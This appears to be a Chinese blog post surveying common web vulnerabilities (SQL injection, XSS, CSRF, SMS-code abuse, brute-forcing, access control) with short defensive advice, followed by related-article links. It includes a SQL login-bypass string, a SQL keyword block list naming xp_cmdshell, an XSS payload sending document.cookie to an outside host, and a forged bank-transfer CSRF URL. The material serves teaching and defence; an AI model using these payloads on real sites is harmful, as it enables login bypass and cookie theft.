WEB开发中常见漏洞
1、sql注入
SQL注入在黑客领域是一种非常常见的攻击手段,大家应该都听说过很多数据泄漏的案例,其中大部分都是采用SQL注入来获取数据的。
SQL注入一般是前端向后台提交数据的时候,在数据中加入SQL语句,改变后台本来要执行的SQL语句!例如:
原SQL语句为:select * from users where username='name' and password=md5('pwd')
通过SQL注入,将用户名设置为:'name' or 1=1# SQL语句就变成了
select * from users where username='name' or 1=1#' and password=md5('pwd')
对于SQL解析器来说,一般认为#后面的内容是被注释调的,所以实际上执行的 select * from users where username='name' or 1=1
这样,用户无需输入密码,便可达到拥有密码的效果。
SQL注入的解决方案一般是增加SQL过滤器,检测前端传过来的内容是否含有非法字符,常见的非法字符:
'| and |exec|execute|insert|select|delete|update|count|drop|*|chr|mid|master|truncate|char|declare|sitename|net user|xp_cmdshell|;|,|like'|exec|execute|insert|create|drop|table|from|grant|use |group_concat|column_name|information_schema.columns|table_schema|union|where|select|delete|update|order|by|count|*|chr|mid|master|truncate|char|declare| or |--| + |,| like
2、校验逻辑放到前端
以本人以前维护的一个网站为例,当初开发者对图片验证码校验的逻辑都放在了前端,
校验过程是这样的,当用户点击登录之后,去后台请求验证码,然后跟用户输入的验证码比较,如果一致就通过,想想这个逻辑也只能呵呵了。
总结一下经验就是,所以的校验逻辑,尽可能的放到后台验证,前端的任何校验都是有可能被绕过的。
3、攻击短信验证码接口
目前大部分网站在注册时,都需要验证手机号,或者登录方式提供了使用手机号+短信验证码登录,于是便有人可以模拟用户注册,频繁的攻击短信发送接口。解决方案有两种:对同一手机号,统一IP地址进程请求次数限制。当然,攻击者可以频繁的换手机号,也可以使用‘肉机’等方式频繁的换IP地址。这时候,限制IP和手机号的方式似乎就不能奏效了。
另一种方式是在请求发送验证码之前,需要用户先输入图片验证码,当图片验证码校验成功后(切记,要在后台校验),再发送短信验证码,这样攻击者可能就需要一定的攻击成本了。
如果已上方式都不能奏效,好了,从业务角度入手,将手机号的验证放在登录之后吧。
4、XSS跨站脚本注入
XSS跨域请求类似于SQL注入,也是向代码中注入非法代码,不同之处在于这里注入的一般是js代码,攻击的是客户端;
例如在一个可以发文章的网站,发布了一片文章,文章里故意插入一些可执行的JS脚本(如:<script>window.open(“http://letsgogo.top”+document.cookie)</script>),这样,如果客户端处理不当,就有可能遭受攻击。
解决办法是跟防止SQL注入类似,对于用户提交的数据进行检测,如果部分特殊字符必须保留,也应该进行转义。
5、大量请求压力
一般情况是向服务器发送大量的非法请求或正常请求,对服务器造成一定的压力甚至瘫痪,导致正常的业务不能及时处理。
一般上线的WEB服务都应该对承受的能力有一个预估,然后在硬件或者软件层做并发控制。防止出现此此种情况。
6、验证码爆破
一般是通过爆破的方式,碰撞用户收到的真实手机验证码,目前验证码一般是4位~5位 一般的爆破工具,几分钟就可以试完。
解决方案比较简单,对于同一手机号,尝试次数大于几次之后,验证码自动失效。
7、CSRF漏洞
中文名称是跨站请求伪造,举一个例子,
受害者 Bob 在银行有一笔存款,通过对银行的网站发送请求 http://bank.example/withdraw?account=bob&amount=1000000&for=bob2 可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该 session 的用户 Bob 已经成功登陆。
黑客 Mallory 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行:http://bank.example/withdraw?account=bob& amount=1000000&for=Mallory。但是这个请求来自 Mallory 而非 Bob,他不能通过安全认证,因此该请求不会起作用。
这时,Mallory 想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码: src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory ”,并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时,上述 url 就会从 Bob 的浏览器发向银行,而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。大多数情况下,该请求会失败,因为他要求 Bob 的认证信息。但是,如果 Bob 当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的 cookie 之中含有 Bob 的认证信息。这时,悲剧发生了,这个 url 请求就会得到响应,钱将从 Bob 的账号转移到 Mallory 的账号,而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。
8、权限控制漏洞
一般网站需要有一个完善的权限管理体系,理论上应该对所有的URL路径都进行权限控制,千万不要以为页面没有入口,就不能访问了。
在此,更加建议采用RESTFUL风格设计URL路径,这样更加的便于做权限控制、监控、统计等工作。
WEB开发中常见漏洞的更多相关文章
- web开发中常见的安全漏洞及避免方法
1.安全攻击 1.SQL.HTML.JS.OS命令注入 2.XSS跨站脚本攻击,利用站内信任的用户,在web页面插入恶意script代码 3.CSRF跨站请求伪造,通过伪装来自信任用户的请求来利用受信 ...
- WEB开发中常见的漏洞
一.SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击.SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞.在设计程序,忽略了对输入字符串中夹带的 ...
- PHP开发中常见的漏洞及防范
PHP开发中常见的漏洞及防范 对于PHP的漏洞,目前常见的漏洞有五种.分别是Session文件漏洞.SQL注入漏洞.脚本命令执行漏洞.全局变量漏洞和文件漏洞.这里分别对这些漏洞进行简要的介绍和防范. ...
- WEB开发中一些常见的攻击方式及简单的防御方法
WEB开发中一些常见的攻击方式及简单的防御方法 转载:http://blog.csdn.net/seven__________7/article/details/70896913
- PHP开发中常见的安全问题详解和解决方法(如Sql注入、CSRF、Xss、CC等
页面导航: 首页 → 网络编程 → PHP编程 → php技巧 → 正文内容 PHP安全 PHP开发中常见的安全问题详解和解决方法(如Sql注入.CSRF.Xss.CC等) 作者: 字体:[增加 减小 ...
- Web开发中的18个关键性错误
前几年,我有机会能参与一些有趣的项目,并且独立完成开发.升级.重构以及新功能的开发等工作. 本文总结了一些PHP程序员在Web开发中经常 忽略的关键错误,尤其是在处理中大型的项目上问题更为突出.典型的 ...
- web开发中的安全问题
web开发中很多东西由前段来负责判断,比如常见的邮箱 电话号码,前端判断到不是一个正确的格式,在你点击提交时候提示你格式填错了,然后不请求后端php,直到你填写正确的格式为止.这种其实可以修改js或者 ...
- 【初码干货】使用阿里云对Web开发中的资源文件进行CDN加速的深入研究和实践
提示:阅读本文需提前了解的相关知识 1.阿里云(https://www.aliyun.com) 2.阿里云CDN(https://www.aliyun.com/product/cdn) 3.阿里云OS ...
- WEB开发中的字符集和编码
html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,bi ...
随机推荐
- php后门管理工具weevely
weevely是一款php后门管理工具,使用http头进行指令传输,功能强大.不过只支持php. weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS, ...
- 【BZOJ2730】[HNOI2012]矿场搭建 Tarjan
[BZOJ2730][HNOI2012]矿场搭建 Description 煤矿工地可以看成是由隧道连接挖煤点组成的无向图.为安全起见,希望在工地发生事故时所有挖煤点的工人都能有一条出路逃到救援出口处. ...
- Hints of sd0061(快排思想)
Hints of sd0061 Time Limit: 5000/2500 MS (Java/Others) Memory Limit: 131072/131072 K (Java/Others ...
- android菜鸟学习笔记25----与服务器端交互(二)解析服务端返回的json数据及使用一个开源组件请求服务端数据
补充:关于PHP服务端可能出现的问题: 如果你刚好也像我一样,用php实现的服务端程序,采用的是apache服务器,那么虚拟主机的配置可能会影响到android应用的调试!! 在android应用中访 ...
- 新手之使用git
本篇博客针对不会Git的小童鞋,大神们可以绕过,错误之处谢谢指正: 关于GitHub的强大此处不在说明,知道GitHub也有一段时间了,但是一直苦于不会使用. 本篇文章介绍的是如何将工程代码托管到上面 ...
- 【python】-- Django ORM(进阶)
Django ORM(进阶) 上一篇博文简述了Django ORM的单表操作,在本篇博文中主要简述Django ORM的连表操作. 一.一对多:models.ForeignKey() 应用场景:当一张 ...
- javascript之冒泡排序
Array.prototype.bubble = function () { var temp; //第1轮比较求第一,第二轮求第二,以此类推(i<=数组成员的个数); for (var i = ...
- MySQL中Btree和Hash的局限小结
在索引中,Btree索引和Hash索引的局限性,在这里粗略罗列一下 1 Btree局限 B-树中的节点都是顺序存储的,所以可以利用索引进行查找(找某些值),也可以对查询结果进行ORDER BY(注意O ...
- android自定义控件(二)Canvas
一.重要方法 1.translate 2.scale 3.rotate 二.注意 1.明确顺序 canvas.rotate(45); canvas.drawRect(new Rect(50, 50, ...
- ajax跨域资源共享
一.同域发送数据 略 二.跨域发送数据 1.存在的问题 1.什么是同源策略 同源策略阻止从一个域名上加载的脚本获取或操作另一个域名上的文档属性.也就是说,受到请求的 URL 的域名必须与当前 Web ...